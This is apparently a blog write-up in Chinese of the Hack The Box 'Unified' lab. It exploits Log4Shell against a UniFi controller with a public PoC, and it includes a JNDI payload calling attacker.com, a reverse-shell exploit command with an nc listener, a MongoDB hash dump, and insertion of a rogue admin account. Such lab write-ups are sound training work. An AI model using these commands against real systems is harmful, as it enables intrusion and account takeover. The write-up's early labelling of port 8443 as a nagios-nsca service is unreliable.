[HTB] Unified 渗透测试笔记
HTB Unified 靶机渗透测试
信息收集
目标信息
端口扫描
使用nmap扫描目标主机的IP。(这里看了下官方wp,有的使用的是rustscan,似乎比nmap快)
1 | nmap -sV 10.129.109.6 |
发现开放如下端口:

这里发现了8443端口,居然是nagios-nsca服务,这个浏览器一搜就是爆出来的各种漏洞,例如CVE-2023-40931,CVE-2023-40934
Nagios NSCA 服务介绍
Nagios NSCA(Nagios Service Check Acceptor)是 Nagios 的一个组件,
用于远程主机向 Nagios 主服务传递监控结果。
- 作用: 允许分布式监控,把结果集中汇报给 Nagios 服务器
- 端口: 默认 5667,但靶机这里运行在 8443 上
- 风险: 历史上有很多漏洞,比如命令注入、认证绕过等
在渗透测试中,发现 NSCA 服务几乎就意味着存在潜在利用点。
靶场任务中在端口8443上运行的软件标题和运行的软件版本通过curl命令获取
1 | curl -k https://10.129.106.9:8443/manage/account/login |


也有更简单的办法就是由于开启了https服务,可以直接浏览器访问,注意网站favicon即可。
漏洞探测
已经发现了unifi运行程序的版本号是6.4.54,接下来直接上edge(看个人)搜索是否已经存在相关漏洞,于是发现存在远程代码执行漏洞,编号为CVE-2021-44228(Log4jshell)
CVE-2021-44228 (Log4Shell) 漏洞信息
- 漏洞编号: CVE-2021-44228
- 影响版本: Apache Log4j 2.0-beta9 ~ 2.14.1
- 漏洞类型: 远程代码执行 (RCE)
- CVSS v3.1 评分: 10.0 (最高危等级)
原理:
攻击者构造 ${jndi:ldap://attacker.com/a} 这样的 payload,当被写入日志时,Log4j 会通过 JNDI 访问远程服务器并加载恶意代码,从而实现 RCE。
修复方案:
- 升级 Log4j 至 2.16.0+
- 临时缓解:
-Dlog4j2.formatMsgNoLookups=true或删除 JndiLookup.class
前渗透
Log4j 漏洞利用
在渗透过程中发现存在 Log4j 漏洞,相关利用 PoC 可以参考
Log4jUnifi GitHub 仓库。
接下来只需要按照上面说明对相应的环境进行搭建即可。
这里可以采用两种办法,一种是手动安装,另一种是docker安装
⚠️ 注意:使用手动安装的时候kali会给出警告,关于pip可能影响系统环境,导致系统冲突,如果是这样,建议和我一样使用虚拟环境
1 | # 更新系统 |
⚠️ 注意:在某些情况下,使用 Docker 安装可能会阻断 VPN 流量,导致抓取不到目标数据。
如果遇到这种情况,建议切换回 手动安装方式,避免网络被容器隔离。
1 | # 拉取项目镜像 |
我这里本来打算使用的是这两种方式,但由于梯子的原因导致一直抓取不到,于是使用了另一种办法,创建了一个虚拟环境
1 | python3 -m venv venv |
这里下载时间蛮久的,不知道是网络原因还是什么原因。
此外需要注意的,在抓取该poc仓库时候,千万千万要注意其中的utils文件夹中的rogue-jndi项目引用的是另一个仓库,我这里是抓取了另一个仓库,并且把其中的pom.xml文件复制过来了。否则运行会报错
获取shell
在有了正确的环境配置后,就可以轻松的利用poc使用代码进行远程执行。
1 | python3 exploit.py -u https://10.129.106.9:8443 -i 10.10.16.14 -p 4444 |

同时开启监听
1 | nc -lvnp 4444 |

这里发现uid=999 gid=999,说明肯定不是root权限运行
但是我们可以通过查找服务进程来找到mongo的端口号
提权
后渗透
方法一:获取并破解哈希
使用反向shell执行以下命令
1 | mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);" |

接下来就是很简单的丢到hashcat中去,但是由于这里是SHA-512加密的哈希值,所以破解需要很长一段时间,这里就没有进行完成。
方法二:添加管理员
首先为自己的账户生成密码哈希,可以使用mkpasswd本地生成
1 | mkpasswd -m sha-512 pass |
接下来将生成的哈希填入即将在mongodb命令中使用的哈希值
1 | mongo --port 27117 ace --eval 'db.admin.insert({ "email" : "null@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$hBZE67014v.jFfqG$5cMXEP1Kd4AlAItqIBOWGZlXUgjslYIDIO3Gp5jDtyXeU6tsqr5JBIWVnwuINEgKoXSoOKsoT73ml7U11XU6S0" })' |

验证并获取flag
验证
直接登入浏览器,输入自己添加的管理员账号和密码,直接从后台管理系统获得flag
这里我的浏览器不知道为什么没有返回后台管理,但是url已经顺利跳转过来了,估计是网络原因,所以我就做到这里停下了。
总结反思
本次渗透测试最主要的大概是第一次接触到了Log4j漏洞,之前也听说过这个漏洞,但是没有实际操作过,这次通过实战加深了对该漏洞的理解。
参考文章:









![[HTB] Vaccine 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308525_a03c7988cfa9f6c64f900037f12b00d5.webp)
![[HTB] Oopsie 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308521_9742ad3ab1d77012675c4a8d651dcf1c.webp)
![[HTB] Archetype 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308523_c792bdc475f4e6e2b80301ba2bf9aa68.webp)